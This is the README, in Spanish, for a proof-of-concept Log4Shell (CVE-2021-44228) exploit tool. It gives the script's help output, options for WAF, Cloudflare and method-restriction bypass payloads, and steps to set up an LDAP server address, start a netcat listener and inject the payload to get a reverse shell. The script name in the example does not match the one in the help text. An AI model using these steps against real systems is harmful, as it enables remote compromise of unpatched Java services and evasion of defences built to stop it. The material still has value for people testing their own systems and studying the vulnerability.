Log4j Exploit Simple

Un Exploit de Prueba de Concepto para la vulnerabilidad CVE-2021-44228.

Log4j, que se utiliza para registrar información de seguridad y rendimiento, afecta a más de 3 mil millones de dispositivos que usan Java en una variedad de servicios, sitios web y aplicaciones de consumo y empresariales, así como dispositivos médicos y sistemas de soporte.
Nota: Este no es un exploit de "apuntar y hacer clic". La carga útil inicial de activación se generará, pero la inyección en el lugar adecuado (es decir, encabezado HTTP/chat/etc.) será responsabilidad del usuario.

Prerrequisitos

• python3
• pip install -r requirements.txt
• Instalar jdk1.8.0_20 y añadir la carpeta bin a la variable de entorno

usage: python CVE-2021-44228-exploit.py --help 
[!] CVE: CVE-2021-44228
[!] This is simple Log4j exploit to get reverse shell
[!] Reference: https://akashpatil.me/log4j-guide-book.html

usage: CVE-2021-44228-exploit.py [-h] [--userip userip] [--webport webport] [--lport lport] [-b bypass]

log4shell Reverse shell exploit

optional arguments:
  -h, --help            show this help message and exit
  --userip userip       Enter IP for LDAPRefServer & Shell
  --webport webport     listener port for HTTP port
  --lport lport         Netcat Port
  -b bypass, --bypass bypass
                        Type of bypass payload. None/WAF/Methods/Cloudflare. Methods - "ldap", "jndi", or the
                        ${lower:x} method restriction bypass

Ejemplo:

1. Ejecuta el script para sistema operativo Linux con carga útil de evasión de método

python poc-csw.py --userip private-ip --webport 8888 --lport 9001 -b methods

2) ejecuta netcat en el puerto 9001 en tu máquina local

nc -lvnp 9001

3. Copia la carga útil 'Try me' para evadir la restricción de métodos y úsala como variable de entrada para obtener una shell en netcat
   Nota: Si no se elige evasión, usa la carga útil 'Send me'

Referencia

• https://akashpatil.me/log4j-guide-book.html
• https://github.com/kozmer/log4j-shell-poc